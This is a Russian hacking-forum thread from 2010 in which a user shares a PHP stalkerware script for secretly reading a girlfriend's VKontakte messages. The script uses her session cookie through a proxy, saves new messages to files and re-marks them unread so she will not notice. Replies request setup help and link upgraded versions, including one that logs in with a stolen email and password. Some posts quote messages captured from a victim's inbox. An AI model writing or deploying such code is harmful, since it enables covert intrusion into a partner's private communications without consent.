PDA

Просмотр полной версии : [скрипт] Слежка за девушкой/парнем, чтение их массаг


kam
02.03.2010, 11:50
вообщем, сталкнулся с ситуевиной, когда появилось подозрение что девушка изменяет...один раз глянул контакт её, там была массага о какой то встречи, через буквально 5-10 мин она её удалила...ну и захотелось организовать слежку за контактом любимой...был написан маленький скриптик...который через проксик подключаеться к контакту. логиниться, читает НОВЫЕ массаги, сохраняет их в файл, и ЗАНОГО помечает как "не прочитаные"

ну узнал я много о ней ))
вот собственно скрипт, пользуйтесь...

#!/usr/bin/php

<?php

### дира, куда сохранять все это овно (последний слеш обязателен)
$dir_save="/home/web/sites/kam/vk/msg/";
$cooke="remixchk=5; remixsid=*****";


function msg_read($mid,$uid){
global $cooke;
$proxy = "*****"; //прокси
$port=8888;

$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}
$request = "GET http://vkontakte.ru/mail.php?act=show&id=".$mid." HTTP/1.0\r\n";
$request .= "Host: http://vkontakte.ru\r\n";
$request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request .= "Accept-Encoding: none, *;q=0\r\n";
$request .= "Accept-Language: ru\r\n";
$request .= "Connection: close\r\n";
$request .= "Proxy-Connection: close\r\n";
$request .= "Cookie: ".$cooke." \r\n";
$request .= "Referer: http://vkontakte.ru/mail.php/\r\n";
$request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
#$request .= "\r\n";

#$request .= "$data\r\n";
$request .= "\r\n";
#var_dump($request);


@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
}


if(ereg("Content-Type: text/html;",$out))
{
#var_dump($out);
$a=explode("Proxy-Connection: close",$out);
return $a[1];

}else{

$a=explode("Proxy-Connection: close",$out);
preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
$z=explode("\n",$z[0]);
#header(onlyChars($z[0]));
return array(trim($z[0]),trim($a[1]));


}



fclose($fp);
### end function
}


function mark_unread($mid){
global $cooke;
$proxy = "*****"; //прокси
$port=8888;

$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}


$data="mark=new&mark_custom=&m_search=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA%20%D1%81%D 0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9&q=&d=&out=0&st=0&filter=all&post%5B".$mid."%5D=".$mid."\r\n\r\n";
$request = "POST http://vkontakte.ru/mail.php?act=mark_msg HTTP/1.0\r\n";
$request.="Host: http://vkontakte.ru\r\n";
$request.="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
$request.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request.="Accept-Language: ru\r\n";
$request.="Accept-Encoding: none, *;q=0\r\n";
$request.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
$request.="Connection: close\r\n";
$request.="Proxy-Connection: close\r\n";
$request.="Referer: http://vkontakte.ru/mail.php\r\n";
$request.="Cookie: ".$cooke."\r\n";
$request.="Pragma: no-cache\r\n";
$request.="Cache-Control: no-cache\r\n";
$request.="Content-Length: ".strlen($data)."\r\n\r\n";
$request.=$data."\r\n\r\n";

#var_dump($request);




@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
#echo($out);
}
#echo($out);

fclose($fp);
#end function
}
function output_r ($host,$page,$data){
global $cooke;

if ($page==''){$page='/';}
if($host == "vkontakte.ru"){
$proxy = "*****"; //прокси
$port=8888;
}
#else{
#$proxy="192.168.5.2";
#$port=3128;
#}
$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}

$request = "GET http://$host/{$page}?{$data} HTTP/1.0\r\n";
$request .= "Host: http://$host\r\n";
$request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request .= "Accept-Encoding: none, *;q=0\r\n";
$request .= "Accept-Language: ru\r\n";
$request .= "Connection: close\r\n";
$request .= "Proxy-Connection: close\r\n";
$request .= "Cookie: ".$cooke." \r\n";

$request .= "Referer: http://$host/\r\n";
$request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
#$request .= "\r\n";

#$request .= "$data\r\n";
$request .= "\r\n";
#var_dump($request);




@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
}


if(ereg("Content-Type: text/html;",$out))
{
#var_dump($out);
$a=explode("Proxy-Connection: close",$out);
return $a[1];

}else{

$a=explode("Proxy-Connection: close",$out);
preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
$z=explode("\n",$z[0]);
#header(onlyChars($z[0]));
return array(trim($z[0]),trim($a[1]));


}

fclose($fp);
#end function
}

################################################## ########
########################################
########################
################
############ Вызов функций


include('simple_html_dom.php');
$zzz=output_r("vkontakte.ru","mail.php","id=".$_GET['id']);

$zzz=trim(iconv("CP1251","UTF-8",$zzz));
#$ar=explode("<tr class='newRow' id=",$zzz);
#var_dump($ar);
$i=0;
$text = str_get_html($zzz);
foreach ($text -> find('tr.newRow') as $temp){
$temp=explode("<div class=\"name\">",$temp);
$temp1=explode("<div class=\"date\">",$temp[1]);
##### Username/id
$un_tmp=trim(str_replace(array('<a href="','">','</div>','</a>',"/id")," ",$temp1[0]));
$un=explode("\n",$un_tmp);
$un=trim($un[0]);
$i++;
### message ID
$mid=explode("<span>",$temp1[1]);
$mid=explode("<td class=\"messageSnippet\"",$mid[0]);
$mid=trim(str_replace(array("id=\"mb","\">"),"",$mid[1]));

if(!file_exists($dir_save."in_".$mid))
{
$msg_page=trim(iconv("CP1251","UTF-8",msg_read($mid,$un)));
$msg_text = str_get_html($msg_page);
foreach ($msg_text -> find('td.messageText') as $msg_tmp){
$exp=explode("<div style=\"width: 240px; overflow: hidden;\">",$msg_tmp);
$exp=explode("</div>",$exp[1]);
$exp=trim($exp[0]);
$to_save=$un." (".$mid.") : ".$exp."\r\n";
### Сохранение говна в файл
$fsave = fopen($dir_save."in_".$mid, "w");
fwrite($fsave, $to_save);
fclose($fsave);

#end foreach
}

sleep(2);
mark_unread($mid);
#end if file exist
}
#end foreach
}



?>


для скрипта нужна библиотека simple_html_dom.php, можно найти в гугле
ну или скачать тут
_http://trac.openpolis.it/openpolis/browser/trunk/lib/simple_html_dom.php?format=txt
скрипт БЕЗ прокси не работает )...

что умеет:
Читать сообщения. сохранять в файл ( in_{$message_id} )
после помечать их как прочитаные...
также НЕ читает уже сохраненные масаги )))
скрипт не светит человека то что он онлайн

в планах: добавить логирование исходящих сообщений, добавить пометки типа сообщение из контакта было удаленно 0_о, чтобы легче было обратить внимание на нужно сообщение...

Скрипт надо гонять по крону каждую минуту....хотя самое прикольное было бы гонять каждые 30 секунд...но да ладно )

З.Ы. как запустить объеснять не буду, кому надо поймут ))
З.Ы.Ы.Претендую на звание говно-кодер месяца, за эту поделку...писал для себя. так что писал как можно быстрее, скрипт написан был за час...
З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))

PaRaBe1LuM
02.03.2010, 12:12
Спасибо, в коллекцию =)

tiath
03.03.2010, 02:18
Хорошо что я не девушка :o
за скрипт спасиб огромное, применим.

StiXy24
03.03.2010, 02:29
Вот это я понимаю скрипт, это вам не какой нибудь комбайн. Ваще жесть, автар это зачёт полюбому)))))

Дедушка
03.03.2010, 04:18
Хватит гадить!
Обсуждаем скрипт...

Всех любителей обсудить историю с девушкой, прошу:
1) Клац (http://www.pickupforum.ru/)
2) Клац (http://lover.org.ua/forums/)
3) Клац (http://kazanova.org.ua/)

ТС, лови тренинг: правиласъема.ру (http://pravilasjema.ru/pickup-trening)

оlbaneс
03.03.2010, 13:19
будете оффтопить тему закрою. тема для З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))

VirGod
03.03.2010, 19:43
TC спс, полезная вещь.

nuBo
03.03.2010, 19:51
какой php нужен?
и что означают эти строки?
$proxy = "*****"; //прокси
$port=8888;
}
#else{
#$proxy="192.168.5.2";
#$port=3128;

*DeViL*
03.03.2010, 22:56
ТС, спасибо! Только планировал такой скрипт заказывать! Огромное спасибо!)

-PsychonauT-
03.03.2010, 22:59
ТС, лови тренинг: правиласъема.ру (http://pravilasjema.ru/pickup-trening)

Дедушка решил молодость вспомнить :D

*DeViL*
03.03.2010, 23:27
Warning: fsockopen() [function.fsockopen]: unable to connect to 76.114.219.113:8085 (Connection timed out) in

прокси живой. в чем трабл? http прокс вообще держит? или socks

ЗЫ забыл, что прокси нужны валидные для вк) тестим..

k3naks
04.03.2010, 19:55
Пожалуйста подскажите как использовать.

*DeViL*
04.03.2010, 22:21
Пожалуйста подскажите как использовать.
настой скрипт, затем заливай библиотеку с настроенным скриптом на хост, ставь автозапуск в кроне и радуйся жизни)

k3naks
05.03.2010, 00:02
*DeViL*
Пожалуйста объясни подробнее, извини за нубство.)

k3naks
06.03.2010, 00:37
Пожалуйста, объясните кто-нибудь, как использовать скрипт.

aka_maestro
06.03.2010, 00:42
да для меня тёмный лес...подскажите добрые люди

pipetos
07.03.2010, 01:01
Подскажите кто-нибудь как исправить косяки в 165, 184 и 186 строках

pipetos
07.03.2010, 12:47
Тут есть та же статья http://allcheats.ru/t159521/

Xantalion
08.03.2010, 00:24
А почему может выдавать такую ошибку?

#!/usr/bin/php
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/hop/i/l/o/iloveyou/public_html/simple_html_dom.php on line 65

public $nodetype = HDOM_TYPE_TEXT;

fab31
08.03.2010, 01:46
Wow...это, конечно, видимо ооч. круто.., но действительно.., как этим пользоваться))
Тоже не рублю в информатике.., но уж оч. любопытновсе это))

olishort
08.03.2010, 01:50
Есть подобный самопис на curl, кому нужно могу выложить.

olishort
08.03.2010, 13:41
Есть подобный самопис на curl, кому нужно могу выложить.

Собственно как и обещал.
http://narod.ru/disk/18561562000/messagecheck_by_OliShort.zip.html

Внутри index.php нужно указать email, pass. Работает без капча, кому нужно сам прикрутит. Парсит непрочитанные сообщения и сохраняет по файлам - inbox, outbox.

php5 + curl

Kernet
08.03.2010, 13:51
Я пол года такой скрипт хотел заиметь, большое спасибо!

Lord_BuKTOP
12.03.2010, 02:05
как вручную через ту же оперу прочитать месаги и обратно пометить как не прочитанные?

и вообще возможно ли это?

derrekes
13.03.2010, 03:13
а виндовый есть?

Scriptik
13.03.2010, 18:21
как вручную через ту же оперу прочитать месаги и обратно пометить как не прочитанные?

и вообще возможно ли это?
Отметить сообщения как непрочитанные не получится, а вот прочитать мессаги и оставить их отмеченными можно: ищешь прочитанное сообщение от того же человека, нажимаешь на тему сообщения, затем "Показать всю историю сообщений", вот и всё :)

mandebist
13.03.2010, 21:26
Lord_BuKTOP

как вручную через ту же оперу прочитать месаги и обратно пометить как не прочитанные?

и вообще возможно ли это?

Отмечаеш сообщение (ставиш галочку на против) и в выдвежной панеле -Выберете действие- выбераеш "Отметить как новое "


Scriptik

Отметить сообщения как непрочитанные не получится, а вот прочитать мессаги и оставить их отмеченными можно: ищешь прочитанное сообщение от того же человека, нажимаешь на тему сообщения, затем "Показать всю историю сообщений", вот и всё

lol :D

ttt0z
23.03.2010, 04:50
имхо скрипт мякго сказать не доработан. и у меня не работает.

Может прокси не подходит? в опере ставлю этот прокс все открываеться.
в скрипте получаю только хидеры. кода страницы нету.

У кого-нибудь скрипт работает? Как заставть его работать?

ачатовцы) помогите) срочну нужен этот скрипт!!
Подскажите в чем проблема? может прокси особенные нужны или еще что? пробовал на разных платных хостах. или мож ВК новую фишку ввел для защиты?

ttt0z
23.03.2010, 07:12
я поражаюсь в скрипте одни ошибки. он не работает. щас сижу исправляю. зачем было выкладывать в таком виде?

ttt0z
23.03.2010, 08:36
помучался вроде заработал.
Но паливо что несколько секунд новое сообщение прочитано а потом опятть непрочитано! Жертва заметит по любому. учитывая, то что скрипт запускаеться каждые 1 секунду.
Правильнее сделать через форуму, когда нажимаешь отправить пользователю сообщение: http://vkontakte.ru/mail.php?act=write&to=1111111 и снизу есть ссылка история переписки, нажав на нее можно просмотреть новые сообщения.
Вот надо через это реализовать. кто сможет?
Тогда скриптом действительно можно будет пользоваться! а так только идея...

И отправленные он тоже не сохраняет. мда..

И прокся в любой момент может сдохнуть. Разве нельзя напрямую подключаться?

Менеджер
23.03.2010, 12:23
Дедушка решил молодость вспомнить :D

Дедушка просто не одну тему не пропустить - что бы рефку не кинуть...

Вот завтра создадут тему: где колбасы купить на Яндекс.Деньги - дедушка сраза - бац - рефку кинул.

Что сказать - молодец мужик - вертиться. Сразу видно - не на одну пенсию живет...

Менеджер
23.03.2010, 12:25
помучался вроде заработал.
Но паливо что несколько секунд новое сообщение прочитано а потом опятть непрочитано! Жертва заметит по любому. учитывая, то что скрипт запускаеться каждые 1 секунду.
Правильнее сделать через форуму, когда нажимаешь отправить пользователю сообщение: http://vkontakte.ru/mail.php?act=write&to=1111111 и снизу есть ссылка история переписки, нажав на нее можно просмотреть новые сообщения.
Вот надо через это реализовать. кто сможет?
Тогда скриптом действительно можно будет пользоваться! а так только идея...

И отправленные он тоже не сохраняет. мда..

И прокся в любой момент может сдохнуть. Разве нельзя напрямую подключаться?

1. С серевера насколько я знаю - нельзя.
2. Заплати автору денег - он прикрутит. :)

_eXorcist_
29.03.2010, 00:01
платный хостинг есть при установки скрипта возникает такая ошибка
Parse error: syntax error, unexpected T_OBJECT_OPERATOR in /www/htdocs/v106349/mes/index.php on line 18

ознаечает что curl нету ?

хотя кеоманда
which curl показывает что сурт стоит по адресу /usr/bin/curl

kam
29.03.2010, 09:53
http://allcheats.ru/t161186/
тут я выложил новую версию скрипта, если кому надо...

_eXorcist_
29.03.2010, 10:53
скинь и в эту тему а то там незареган

_eXorcist_
29.03.2010, 12:23
<?php
$link=mysql_connect("localhost","cheet","4681");
if(!$link){die("error connect to mysql");}
mysql_select_db('cheet');
mysql_query("SET NAMES UTF8");

mysql_query("CREATE TABLE IF NOT EXISTS `vk_msg` (
`msg_id` int(11) NOT NULL,
`vk_id` int(11) NOT NULL,
`uname` varchar(5000) NOT NULL,
`text` mediumtext NOT NULL,
`date` varchar(255) NOT NULL,
`stat` int(11) NOT NULL,
UNIQUE KEY `msg_id` (`msg_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;");
?>


вопрос сейчас в другом какие прокси надо http или соксы?

_eXorcist_
29.03.2010, 14:13
возник другой вопрос когда запускаю скрипт mes.php возникает такая ошибка

Parse error: syntax error, unexpected T_DNUMBER in /home/cheet/data/www/site/vk_messages/cfg.php on line 20


сокс прокси вроде поставил

ttt0z
30.03.2010, 03:56
скрипт не рабочий. автору на вопросы все равно.

*DeViL*
01.04.2010, 16:39
Вообщем. первый скрипт я писал с целью узнать побольше о своей девушке...о ней я узнал достаточно...и теперь я одинок )...ну не в этом суть...
вообщем, доделаная версия...
более красиво сделана...

_http://dump.ru/file/4439136

буду выкладывать периудами обновления...

что имеем на данный момент:
• веб-интерфейс для просмотра сообщений
• теперь сообщения храняться в базе MySQL
• более гибкая настройка через файл cfg.php
• 100% работа с проксей....
• если сообщение не прочитано, он его прочитает и заново пометит как не прочитаное )

в приватной версии тестируеться чтение удаленных массаг, в ближ дни выложу и этот вариант скрипта...


Как его запустить?
1. для начало нужно поиметь печеньки...если они есть, вставляем их в файл cfg.php и радуемся...
если нету...но есть пароль, генерирует куки через скрипт get_cooke.pl
он создаст файл cooke.txt в котором они будут, открываем, и всовываем их в cfg.php

2. ищем прокси через который будет работать этот скрипт...прописываем прокси в файл...

3. ставим скрипт на работу, раз в минуту, ну или как вам угодно...
скрипт отвечающий за выполнение mes.php



увеличил таймаут - бесполезно.
Набрал пару десятков быстрых прокси не забаненых вк, не помогло.
При обращении на /mes.php не выдает никаких ошибок и отлично выполняет скрипт, но в базе пусто.

Скрипт не рабочий.

Собственно как и обещал.
Цитата:
http://narod.ru/disk/18561562000/messagecheck_by_OliShort.zip.html


Внутри index.php нужно указать email, pass. Работает без капча, кому нужно сам прикрутит. Парсит непрочитанные сообщения и сохраняет по файлам - inbox, outbox.

php5 + curl

[+] работает, сообщения собирает в таком формате
From: 52077995, To: 41451183, Date: 2 мар 2010 в 5:02, Message: Выполняем дипломные, курсовые работы !! http://vkontakte.ru/club15480365!!! Качественно и в срок!!



--- 01.04.2010, 22:11:35 ---

From: 17457788, To: 41451183, Date: 1 мар 2010 в 18:27, Message: Не спам!<br/>Продаю голоса если чё в лс!<br/>Цены:<br/>РУБЛИ.................ГРИВНЫ<br/>до 050г - 3.7|3.6...0,99|0,96<br/>до 100г - 3.6|3,5...0,96|0,94<br/>до 200г - 3,5........0,94<br/>до 400г - 3,4........0.91<br/>до 600г - 3,34......0,89<br/>до 1000 - 3,2.......0,86<br/>до 2000 - 3.1.......0,83<br/>выше 2к - договорная

LStr1ke
07.04.2010, 21:14
Из последнего скрипта выдает
Warning: curl_setopt() [function.curl-setopt]: the provided file handle is not writable in C:\xampp\htdocs\vk\libs\DudeCurl.php on line 205
Я так понял, это чета с файлами *.tmp связано в папке libs.
Не пашет.
Есть ли у кого аналог рабочий?

*DeViL*
10.04.2010, 00:01
Из последнего скрипта выдает

Я так понял, это чета с файлами *.tmp связано в папке libs.
Не пашет.
Есть ли у кого аналог рабочий?
он рабочий. у тебя проблема с курлами. запусти на vertrigo http://vertrigo.sourceforge.net/

timoshka
16.04.2010, 05:00
думаю..если бы сделать
сайт там где вводиь мыло и пароль и там идёт слежка
и брать за это деньги - неплохо можно поднятся))

LStr1ke
16.04.2010, 17:52
он рабочий. у тебя проблема с курлами. запусти на vertrigo http://vertrigo.sourceforge.net/
Да я уже свое написал )